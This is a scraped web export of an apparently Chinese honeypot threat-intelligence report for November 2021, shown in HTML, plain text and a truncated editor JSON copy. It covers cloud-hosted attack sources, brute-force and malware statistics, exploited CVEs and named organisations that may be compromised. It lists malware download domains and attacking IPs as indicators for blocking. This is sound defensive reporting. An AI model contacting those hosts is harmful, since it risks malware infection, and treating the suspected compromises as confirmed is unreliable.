solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">海南天地人公司农业信息化管理系统</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
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</tbody></table>
</div><!--kg-card-end: html--><h4 id="1--1">1） 多地政府机关食堂订餐系统</h4><p>我们发现一个IP地址为123.57.8.100的阿里云服务器IP在11月6日和11月14日有FTP暴力破解并上传恶意文件的行为，与上月发现的供排水公司案例类似。这个IP地址对应的域名属于威尔智慧科技（深圳）有限公司，该公司主要业务是智能食堂系统。我们发现至少有3家政府机关单位的食堂订餐系统直接运行在这个服务器上，分别是<strong>大阁镇职工食堂、广东省新丰江林业管理局食堂和金湖县金税食堂</strong>。黑客入侵后，上述机关单位的职员信息有泄露的隐患。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/image-9.png" class="kg-image" alt loading="lazy"></figure><h4 id="2--1">2） 晋中市煤炭规划设计研究院官网</h4><p>11月4日，IP地址为8.142.72.84的阿里云服务器出现扫描TCP/8080端口，利用JBoss和Jenkins的远程代码执行漏洞攻击，以及传播木马下载器（TrojanDownloader）等恶意软件等行为。该云服务器绑定域名mtghsjy.cn，为晋中市煤炭规划设计研究院（事业单位）官网。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/image-10.png" class="kg-image" alt loading="lazy"></figure><h4 id="3--1">3） 中国电信企业邮箱</h4><p>IP地址为42.123.76.231的中国电信天翼云服务器在11月9日到11月28日期间多次用SMB协议扫描TCP/139和TCP/445端口。相关域名有oa-prtmail.21cn.net，mta.chinatelecom.cn和smtpnm04.21cn.net等。21cn.net是中国电信企业邮箱的专用域名，可以基本确定这是中国电信企业邮箱的邮件服务器。根据首页信息，该SaaS企业邮箱的客户包括中国电信、武汉市政府、申银万国证券等电信、政府、金融行业重要单位。如果黑客已经成功入侵，这些单位的雇员信息、业务往来邮件等都有泄露的风险。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/image-11.png" class="kg-image" alt loading="lazy"></figure><h4 id="4--1">4） 东风本田公司客服平台</h4><p>IP地址为117.78.18.35的华为云服务器在11月5日到10日在TCP/6379端口扫描和利用Redis数据库漏洞，并传播恶意挖矿和木马软件。该服务器对应域名pmonline.dongfeng-honda.com，是东风本田公司的域名。该域名能找到下图绑定微信号页面以及微信公众号二维码，应该是东风本田公司正在开发中的客服平台。</p><figure class="kg-card kg-gallery-card kg-width-wide"><div class="kg-gallery-container"><div class="kg-gallery-row"><div class="kg-gallery-image"><img src="__GHOST_URL__/content/images/2021/12/honda1.png" width="1115" height="1117" loading="lazy" alt srcset="__GHOST_URL__/content/images/size/w600/2021/12/honda1.png 600w, __GHOST_URL__/content/images/size/w1000/2021/12/honda1.png 1000w, __GHOST_URL__/content/images/2021/12/honda1.png 1115w" sizes="(min-width: 720px) 720px"></div><div class="kg-gallery-image"><img src="__GHOST_URL__/content/images/2021/12/honda2.jpg" width="636" height="406" loading="lazy" alt srcset="__GHOST_URL__/content/images/size/w600/2021/12/honda2.jpg 600w, __GHOST_URL__/content/images/2021/12/honda2.jpg 636w"></div></div></div></figure><p>对以上案例的其他细节或其他未详细介绍的案例感兴趣的读者，可以通过文章底部的邮箱与我们联系。</p><h2 id="5-">5 防护建议 </h2><p>对上述典型案例中涉及的IP地址，我们建议其域名拥有者与平台提供者协商，同时雇佣第三方独立安全公司对其网站安全做全面审计。如有必要，可以考虑将公民隐私相关信息的存储位置，放置在更加远离公网访问界面的位置。</p><h2 id="6-">6 联系我们</h2><p>感兴趣的读者，可以通过邮箱chenrugang[at]360.cn联系我们。</p> | 1 概述
2021年11月，360网络安全研究院 Anglerfish蜜罐（以下简称“蜜罐系统”）共监测到全球53745个云服务器发起的网络会话9016万次，与10月份的数据相比略有下降，IP数量下降7.7%，会话数量下降2.1%。但是，本月我们发现了多起重点单位的云上资产对外发起攻击事件，涉及政府机关、公共事业、通信、交通运输、工业制造、医疗卫生、传媒、农业8个行业的8个IP地址。值得关注的是我们发现了中国电信邮箱服务器和多地政府机关食堂订餐系统可能被黑客入侵。
2 云服务器攻击总体情况
从时间趋势上看，11月份大多数时间每天具有攻击行为云服务器IP地址仍然在600~1000个范围内，整体上看云服务器攻击源IP数量随着时间逐渐增加。除了11月22日~11月24日的突增外，会话数量也比较稳定。
11月22日~24日的突增主要是由以下两个IP地址造成的：一个是119.45.*.*，在11月22~24日每天向蜜罐系统发送了数十万个敏感文件嗅探数据包以及上千个微软OMI漏洞攻击数据包。另一个是188.166.*.*，该服务器在11月24日一天内向蜜罐系统发送了18万个Telnet暴力破解数据包。
从地理位置看，中国和美国仍然是攻击源IP数量最多的两个国家。相比于上月，本月来自欧洲的攻击源数量有所减少。
中国国内攻击源的地理分布与上周基本相同，主要集中在北京、上海、广东、浙江四个地区。
按云服务商维度来看，阿里云、腾讯云、DigitalOcean和亚马逊AWS仍然是四个最主要的攻击来源，但是与上月相比，来自腾讯云和DigitalOcean的攻击会话数量明显增多。特别是腾讯云的攻击会话数量从上月的10万左右增加到了本月超过100万。
3 云服务器上的恶意行为
本节中出现的云服务器恶意行为参考阿里云发布的《云平台安全规则》和腾讯云发布的《云安全违规处罚等级划分说明》。
使用云产品进行攻击
11月份我们共监测到965个云服务器IP发起了约62.1万次密码爆破攻击，无论是攻击源IP数量还是爆破攻击数量都比上月明显增加，其中源IP数量增加13%，爆破攻击数量增加142%。Telnet仍然是最多被爆破攻击的协议。
以下是11月爆破攻击次数最多的10个IP地址，全部来自DigitalOcean，目标都是Telnet协议。
IP地址
云服务商
协议/端口
次数
188.166.54.243
DigitalOcean
Telnet/TCP2323,
TCP23
182,595
159.223.122.148
DigitalOcean
Telnet/TCP23
99,437
64.227.8.227
DigitalOcean
Telnet/TCP2323,
TCP23
97,995
68.183.37.164
DigitalOcean
Telnet/TCP2323, TCP23
40,621
147.182.169.195
DigitalOcean
Telnet/TCP2323,
TCP23
35,631
178.62.210.60
DigitalOcean
Telnet/TCP2323, TCP23
25,563
206.189.10.108
DigitalOcean
Telnet/TCP23
8,919
147.182.160.81
DigitalOcean
Telnet/TCP2323, TCP23
6,910
138.68.105.229
DigitalOcean
Telnet/TCP2323,
TCP23
6,533
143.198.117.47
DigitalOcean
Telnet/TCP2323, TCP23
5,582
虽然爆破会话次数最多的10个IP均来自于DigitalOcean，但总体来看亚马逊AWS和阿里云的爆破IP数量更多。
在传播木马病毒等恶意软件方面，11月份共有3817个云服务器IP传播了110种恶意软件约147.3万次。与10月相比，虽然恶意软件的家族种类有所减少，但源IP和会话数都明显增加。其中会话数量增加了67%，IP数量增加15%。阿里云和腾讯云仍然是传播恶意软件IP来源最多的云服务商。
本月，恶意挖矿程序（CoinMiner）无论是从传播IP数还是会话数都位列第一位，相比10月，传播恶意挖矿程序的IP数量增加了约16%，会话数量增加了约40%。
此外，最多云服务器攻击源IP传播的10个恶意软件中，家族类型已知的7个恶意软件全部为Linux恶意挖矿程序，说明云服务器传播恶意挖矿软件问题已经非常严重。
下表是传播恶意软件次数最多的10个IP。
IP地址
云服务商
传播次数
恶意软件家族
159.223.122.148
DigitalOcean
143,128
1
64.227.8.227
DigitalOcean
55,152
3
188.166.54.243
DigitalOcean
28,848
5
147.182.169.195
DigitalOcean
22,990
2
180.76.99.153
百度智能云
17,669
4
106.13.198.6
百度智能云
16,619
4
118.195.150.71
腾讯云
16,618
4
178.62.210.60
DigitalOcean
15,706
7
180.76.112.177
百度智能云
14,962
4
180.76.113.131
百度智能云
14,647
4
下表是传播恶意软件家族种类最为广泛的10个IP。恶意软件家族种类多，说明背后的黑客掌握了更多的攻击手段，对被攻击目标更具有威胁。
IP地址
云服务商
传播次数
恶意软件家族
119.45.27.160
腾讯云
116
15
101.35.83.205
腾讯云
142
15
101.35.6.126
腾讯云
180
14
110.40.133.48
腾讯云
4,415
13
140.143.229.247
腾讯云
2,610
12
8.134.13.61
阿里云
286
12
119.29.115.237
腾讯云
526
12
82.157.102.123
腾讯云
582
12
110.42.187.81
腾讯云
434
12
106.52.240.156
腾讯云
392
12
下面是恶意软件的下载URL中提取的下载服务器的IP/域名。
域名/IP地址
源IP数
恶意软件数
恶意软件家族
下载会话数
oracle.zzhreceive.top
2,226
291
9
494,527
112.253.11.38
2,014
4
1
48,530
194.87.139.103
883
8
3
48,196
py2web.store
829
2
1
22,501
45.133.203.192
622
17
3
29,552
crypto.htxreceive.top
289
81
5
371,934
en2an.top
232
1
1
3,028
194.145.227.21
195
2
1
455
104.192.82.138
145
30
4
8,533
teamtnt.red
104
3
3
694
en2an.top、teamtnt.red和104.192.82.138是11月新进入前10的下载服务器。其中en2an.top注册于2021年11月27日，是11月新注册的域名，目前关于该域名的IOC信息比较少，容易被忽略，建议相关单位及时关注和屏蔽该域名。
卸载云主机安全产品
由于目前我们只筛选了卸载阿里云安骑士的行为，还没有筛选出卸载国外云厂商的主机安全产品的行为，所以攻击源主要来自国内云厂商IP。下面是传播具有卸载云主机安全产品行为的恶意软件最多的10个IP。
IP地址
云服务商
恶意软件家族
传播次数
52.131.241.237
微软Azure
52
6,968
106.12.22.126
百度智能云
31
6,435
20.113.33.78
微软Azure
38
5,455
114.132.223.190
腾讯云
53
5,340
52.188.196.26
微软Azure
33
4,758
134.209.64.67
DigitalOcean
35
4,705
34.80.200.84
Google
27
4,666
143.198.129.66
DigitalOcean
33
4,435
34.126.108.182
Google
37
4,404
120.92.53.103
金山云
35
4,381
执行卸载主机安全产品行为的软件和脚本主要通过以下这些IP/域名下载。
域名/IP地址
源IP数量
恶意软件数
下载会话数
update.aegis.aliyun.com
3,070
1,607
183,678
oracle.zzhreceive.top
1,980
467
528,420
112.253.11.38
1,851
155
66,534
194.87.139.103
884
22
104,371
45.133.203.192
872
71
79,611
py2web.store
836
19
39,332
en2an.top
223
2
5,107
194.145.227.21
151
3
633
103.209.103.16
20
2
86
154.66.240.59
2
7
552
漏洞的扫描和攻击
和10月一样，Redis漏洞仍然是被云服务攻击者使用最多的漏洞。其他还包括SMTP协议扫描、敏感文件嗅探、Hyland拒绝服务漏洞攻击等。相比于10月，本月针对安防产品和路由器的云服务器攻击者相对较少。
Redis是被攻击次数最多的设备，占到了所有漏洞攻击会话的约40%，此外也有较多针对DLink、GoAhead、Hadoop和Atlassian等厂商的设备的攻击。
从CVE编号来看，CVE-2019-16920是利用最多的有CVE编号的漏洞，占有CVE编号漏洞整体的43.2%。此外，CVE-2017-8225和CVE-2021-26084也是被攻击者利用次数较多的漏洞，分别占比22%和10.7%。
以下是利用的漏洞种类最多的10个IP。
IP地址
云服务商
攻击次数
漏洞数量
106.11.34.197
阿里云
6,409
61
162.14.66.133
腾讯云
22,997
60
194.195.242.182
Linode
97
45
139.177.178.92
Linode
50
40
139.177.178.83
Linode
110
39
139.177.178.90
Linode
52
37
139.177.178.85
Linode
56
36
101.35.81.195
腾讯云
3,745
34
139.177.178.84
Linode
48
33
101.43.60.140
腾讯云
497
32
发送垃圾邮件
由于大多数云服务商都禁止将云服务器用作邮箱服务器，并屏蔽了云服务器的25端口（用于发送邮件的SMTP服务的默认端口），攻击者很难直接用云服务器发送钓鱼邮件和垃圾邮件。但是，攻击者会扫描并攻击互联网上可用的邮件服务器，一旦成功登陆，就会用被攻击的邮箱服务器发送垃圾钓鱼邮件。11月份我们共发现22个攻击源IP尝试用蜜罐发送垃圾邮件435封，其中光是54.186.136.108这一个IP地址就发送了358封。下面是发送垃圾邮件最多的10个IP地址，除了有一个腾讯云的IP外，其余IP都属于境外服务商。
IP地址
云服务商
垃圾邮件封数
54.186.136.108
亚马逊AWS
358
35.161.55.56
亚马逊AWS
25
68.183.5.53
DigitalOcean
11
172.104.117.157
Linode
8
119.91.140.80
腾讯云
8
128.199.244.30
DigitalOcean
3
159.89.127.186
DigitalOcean
3
137.184.134.47
DigitalOcean
2
157.245.255.84
DigitalOcean
2
167.172.174.51
DigitalOcean
2
从垃圾邮件的内容上看，垃圾钓鱼邮件主要使用的语言是英语，邮件内容主要是返回base64编码的被攻击邮箱的账号密码信息和涉及金钱的诈骗信息等。
4 云上重点单位攻击事件案例分析
本月我们发现了较多起云上重点单位资产发起对外攻击的案例，包括了多地政府机关的食堂订餐系统，某地事业单位的主页，某单位船舶管理系统，某车企正在开发中的客服平台，大型三甲公立医院，以及大型国有电信运营商的云上企业邮箱服务等等。这些重点单位服务器被黑客入侵后可能会造成用户个人信息、业务数据等敏感信息泄露，建议有关单位及时采取措施处置。
IP地址
IP所在省份
域名
云服务商
行业
网站内容
123.57.8.100
北京市
dgz.szwkzh.cn
xfjl.szwkzh.cn
jsst.szwkzh.cn
阿里云
政府机关
多地政府机关食堂订餐系统
8.142.72.84
北京市
mtghsjy.cn
阿里云
公共事业
晋中市煤炭规划设计研究院
117.78.18.35
北京市
pmonline.dongfeng-honda.com
华为云
工业制造
东风本田客服平台
42.123.76.231
内蒙古自治区
prt-mail.chinatelecom.cn mta.chinatelecom.cn smtpnm04.21cn.net
电信天翼云
通信
中国电信企业邮箱
52.131.241.237
上海市
ivmos.aitport.com
微软Azure
交通运输
某单位的船舶管理系统
119.23.25.150
广东省
bg.wbybb.com
阿里云
媒体
厦门晚报后台管理系统
47.96.118.225
浙江省
2cwww.hz-hospital.com
阿里云
医疗卫生
杭州市第一人民医院
139.196.29.41
上海市
amis.tiandirenfarm.com
阿里云
农业
海南天地人公司农业信息化管理系统
1） 多地政府机关食堂订餐系统
我们发现一个IP地址为123.57.8.100的阿里云服务器IP在11月6日和11月14日有FTP暴力破解并上传恶意文件的行为，与上月发现的供排水公司案例类似。这个IP地址对应的域名属于威尔智慧科技（深圳）有限公司，该公司主要业务是智能食堂系统。我们发现至少有3家政府机关单位的食堂订餐系统直接运行在这个服务器上，分别是大阁镇职工食堂、广东省新丰江林业管理局食堂和金湖县金税食堂。黑客入侵后，上述机关单位的职员信息有泄露的隐患。
2） 晋中市煤炭规划设计研究院官网
11月4日，IP地址为8.142.72.84的阿里云服务器出现扫描TCP/8080端口，利用JBoss和Jenkins的远程代码执行漏洞攻击，以及传播木马下载器（TrojanDownloader）等恶意软件等行为。该云服务器绑定域名mtghsjy.cn，为晋中市煤炭规划设计研究院（事业单位）官网。
3） 中国电信企业邮箱
IP地址为42.123.76.231的中国电信天翼云服务器在11月9日到11月28日期间多次用SMB协议扫描TCP/139和TCP/445端口。相关域名有oa-prtmail.21cn.net，mta.chinatelecom.cn和smtpnm04.21cn.net等。21cn.net是中国电信企业邮箱的专用域名，可以基本确定这是中国电信企业邮箱的邮件服务器。根据首页信息，该SaaS企业邮箱的客户包括中国电信、武汉市政府、申银万国证券等电信、政府、金融行业重要单位。如果黑客已经成功入侵，这些单位的雇员信息、业务往来邮件等都有泄露的风险。
4） 东风本田公司客服平台
IP地址为117.78.18.35的华为云服务器在11月5日到10日在TCP/6379端口扫描和利用Redis数据库漏洞，并传播恶意挖矿和木马软件。该服务器对应域名pmonline.dongfeng-honda.com，是东风本田公司的域名。该域名能找到下图绑定微信号页面以及微信公众号二维码，应该是东风本田公司正在开发中的客服平台。
对以上案例的其他细节或其他未详细介绍的案例感兴趣的读者，可以通过文章底部的邮箱与我们联系。
5 防护建议
对上述典型案例中涉及的IP地址，我们建议其域名拥有者与平台提供者协商，同时雇佣第三方独立安全公司对其网站安全做全面审计。如有必要，可以考虑将公民隐私相关信息的存储位置，放置在更加远离公网访问界面的位置。
6 联系我们
感兴趣的读者，可以通过邮箱chenrugang[at]360.cn联系我们。 | {"version":"0.3.1","atoms":[],"cards":[["image",{"src":"__GHOST_URL__/content/images/2021/12/1.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/11------.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/11-------1.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/image.png"}],["html",{"html":"<div align=\"center\">\n\n<table class=\"MsoTable15Grid4Accent3\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" width=\"0\" style=\"width:375.6pt;border-collapse:collapse;border:none;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt\">\n <tbody><tr style=\"mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;\n height:11.35pt\">\n <td width=\"129\" nowrap=\"\" valign=\"top\" style=\"width:96.6pt;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;\n mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:5\"><strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">IP</span></strong><strong><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">地址</span></strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;color:white;mso-themecolor:background1;mso-font-kerning:0pt;\n mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"111\" nowrap=\"\" valign=\"top\" style=\"width:83.0pt;border-top:solid #A5A5A5 1.0pt;\n mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;\n mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:\n solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:\n solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;\n mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><span class=\"GramE\"><strong><span style=\"mso-bidi-font-size:12.0pt;\n font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:\n 0pt\">云服务</span></strong></span><strong><span style=\"mso-bidi-font-size:12.0pt;\n font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:\n 0pt\">商</span></strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;\n color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:\n bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"195\" nowrap=\"\" valign=\"top\" style=\"width:146.2pt;border-top:solid #A5A5A5 1.0pt;\n mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;\n mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:\n solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:\n solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;\n mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><strong><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">协议</span></strong><strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">/</span></strong><strong><span style=\"mso-bidi-font-size:12.0pt;\n font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:\n 0pt\">端口</span></strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;\n color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:\n bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"66\" nowrap=\"\" valign=\"top\" style=\"width:49.8pt;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;\n mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><strong><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">次数</span></strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt;mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:0;height:11.35pt\">\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:68\"><strong><span lang=\"EN-US\">188.166.54.243<o:p></o:p></span></strong></p>\n </div>\n </td>\n <td width=\"111\" nowrap=\"\" style=\"width:83.0pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span class=\"SpellE\"><span lang=\"EN-US\">DigitalOcean</span></span></p>\n </div>\n </td>\n <td width=\"195\" nowrap=\"\" style=\"width:146.2pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p class=\"MsoNormal\" style=\"mso-yfti-cnfc:64\"><span lang=\"EN-US\">Telnet/TCP2323,\n TCP23</span></p>\n </div>\n </td>\n <td width=\"66\" nowrap=\"\" style=\"width:49.8pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">182,595</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:1;height:11.35pt\">\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><strong><span lang=\"EN-US\">159.223.122.148</span></strong><strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></strong></p>\n </td>\n <td width=\"111\" nowrap=\"\" valign=\"top\" style=\"width:83.0pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span class=\"SpellE\"><span lang=\"EN-US\">DigitalOcean</span></span></p>\n </td>\n <td width=\"195\" nowrap=\"\" style=\"width:146.2pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\"><span lang=\"EN-US\">Telnet/TCP23</span></p>\n </td>\n <td width=\"66\" nowrap=\"\" style=\"width:49.8pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">99,437</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:2;height:11.35pt\">\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><strong><span lang=\"EN-US\">64.227.8.227</span></strong><strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></strong></p>\n </td>\n <td width=\"111\" nowrap=\"\" 